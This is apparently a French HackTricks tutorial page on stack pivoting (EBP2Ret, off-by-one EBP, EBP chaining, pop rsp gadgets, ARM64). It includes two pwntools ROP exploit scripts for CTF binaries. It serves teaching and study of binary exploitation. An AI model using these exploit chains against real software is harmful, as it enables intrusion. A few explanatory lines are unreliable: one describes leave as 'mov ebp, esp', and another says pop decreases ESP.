Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 9 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Cette technique exploite la capacité à manipuler le Base Pointer (EBP) pour enchaîner l'exécution de plusieurs fonctions grâce à une utilisation soigneuse du registre EBP et de la séquence d'instructions leave; ret
.
Pour rappel, leave
signifie essentiellement :
mov ebp, esp
pop ebp
ret
Et comme l'EBP est dans la pile avant l'EIP, il est possible de le contrôler en contrôlant la pile.
EBP2Ret
Cette technique est particulièrement utile lorsque vous pouvez modifier le registre EBP mais n'avez aucun moyen direct de changer le registre EIP. Elle exploite le comportement des fonctions lorsqu'elles terminent leur exécution.
Si, pendant l'exécution de fvuln
, vous parvenez à injecter un EBP factice dans la pile qui pointe vers une zone de mémoire où l'adresse de votre shellcode est située (plus 4 octets pour tenir compte de l'opération pop
), vous pouvez contrôler indirectement l'EIP. Lorsque fvuln
retourne, l'ESP est réglé sur cet emplacement conçu, et l'opération pop
suivante diminue l'ESP de 4, le faisant effectivement pointer vers une adresse stockée par l'attaquant là-dedans.
Notez que vous devez connaître 2 adresses : celle vers laquelle l'ESP va aller, où vous devrez écrire l'adresse pointée par l'ESP.
Construction de l'Exploit
Tout d'abord, vous devez connaître une adresse où vous pouvez écrire des données / adresses arbitraires. L'ESP pointera ici et exécutera le premier ret
.
Ensuite, vous devez connaître l'adresse utilisée par ret
qui exécutera du code arbitraire. Vous pourriez utiliser :
- Une adresse valide ONE_GADGET.
- L'adresse de
system()
suivie de 4 octets de junk et de l'adresse de"/bin/sh"
(x86 bits). - L'adresse d'un gadget
jump esp;
(ret2esp) suivie du shellcode à exécuter. - Une chaîne ROP
Rappelez-vous qu'avant l'une de ces adresses dans la partie contrôlée de la mémoire, il doit y avoir 4
octets à cause de la partie pop
de l'instruction leave
. Il serait possible d'abuser de ces 4B pour définir un deuxième EBP factice et continuer à contrôler l'exécution.
Exploit Off-By-One
Il existe une variante spécifique de cette technique connue sous le nom d'"Off-By-One Exploit". Elle est utilisée lorsque vous pouvez uniquement modifier l'octet le moins significatif de l'EBP. Dans ce cas, l'emplacement mémoire stockant l'adresse à laquelle sauter avec le ret
doit partager les trois premiers octets avec l'EBP, permettant une manipulation similaire avec des conditions plus contraignantes.
En général, on modifie l'octet 0x00 pour sauter aussi loin que possible.
De plus, il est courant d'utiliser un RET sled dans la pile et de mettre la véritable chaîne ROP à la fin pour rendre plus probable que le nouvel ESP pointe à l'intérieur du RET SLED et que la chaîne ROP finale soit exécutée.
Chaînage EBP
Ainsi, en plaçant une adresse contrôlée dans l'entrée EBP
de la pile et une adresse pour leave; ret
dans EIP
, il est possible de déplacer l'ESP
vers l'adresse EBP
contrôlée depuis la pile.
Maintenant, l'ESP
est contrôlé pointant vers une adresse désirée et la prochaine instruction à exécuter est un RET
. Pour en abuser, il est possible de placer à l'emplacement ESP contrôlé ceci :
&(next fake EBP)
-> Charger le nouvel EBP à cause depop ebp
de l'instructionleave
system()
-> Appelé parret
&(leave;ret)
-> Appelé après la fin de system, il déplacera l'ESP vers l'EBP factice et recommencera&("/bin/sh")
-> Paramètre poursystem
Fondamentalement, de cette manière, il est possible de chaîner plusieurs EBP factices pour contrôler le flux du programme.
C'est comme un ret2lib, mais plus complexe sans avantage apparent mais pourrait être intéressant dans certains cas limites.
De plus, ici vous avez un exemple d'un défi qui utilise cette technique avec une fuite de pile pour appeler une fonction gagnante. Voici la charge utile finale de la page :
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP pourrait ne pas être utilisé
Comme expliqué dans ce post, si un binaire est compilé avec certaines optimisations, le EBP ne contrôle jamais l'ESP, par conséquent, toute exploitation fonctionnant en contrôlant l'EBP échouera essentiellement car elle n'a pas d'effet réel.
C'est parce que les prologues et épilogues changent si le binaire est optimisé.
- Non optimisé :
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimisé :
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
Autres façons de contrôler RSP
pop rsp
gadget
Sur cette page vous pouvez trouver un exemple utilisant cette technique. Pour ce défi, il était nécessaire d'appeler une fonction avec 2 arguments spécifiques, et il y avait un pop rsp
gadget et il y a une leak de la pile :
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Vérifiez la technique ret2esp ici :
Références et autres exemples
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, exploitation off by one avec une chaîne rop commençant par un ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bits, pas de relro, canary, nx et pie. Le programme accorde une fuite pour la pile ou le pie et un WWW d'un qword. D'abord, obtenez la fuite de la pile et utilisez le WWW pour revenir et obtenir la fuite du pie. Ensuite, utilisez le WWW pour créer une boucle éternelle en abusant des entrées de
.fini_array
+ en appelant__libc_csu_fini
(plus d'infos ici). En abusant de cette écriture "éternelle", une chaîne ROP est écrite dans le .bss et finit par l'appeler en pivotant avec RBP.
ARM64
Dans ARM64, les prologues et épilogues des fonctions ne stockent pas et ne récupèrent pas le registre SP dans la pile. De plus, l'instruction RET
ne retourne pas à l'adresse pointée par SP, mais à l'adresse à l'intérieur de x30
.
Par conséquent, par défaut, en abusant simplement de l'épilogue, vous ne pourrez pas contrôler le registre SP en écrasant certaines données à l'intérieur de la pile. Et même si vous parvenez à contrôler le SP, vous auriez toujours besoin d'un moyen de contrôler le registre x30
.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP pointe vers l'enregistrement de cadre
- épilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
La façon de réaliser quelque chose de similaire à un pivot de pile dans ARM64 serait de pouvoir contrôler le SP
(en contrôlant un registre dont la valeur est passée à SP
ou parce que pour une raison quelconque SP
prend son adresse de la pile et que nous avons un dépassement) et ensuite abuser de l'épilogue pour charger le registre x30
à partir d'un SP
contrôlé et RET
vers celui-ci.
Aussi, sur la page suivante, vous pouvez voir l'équivalent de Ret2esp en ARM64 :
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.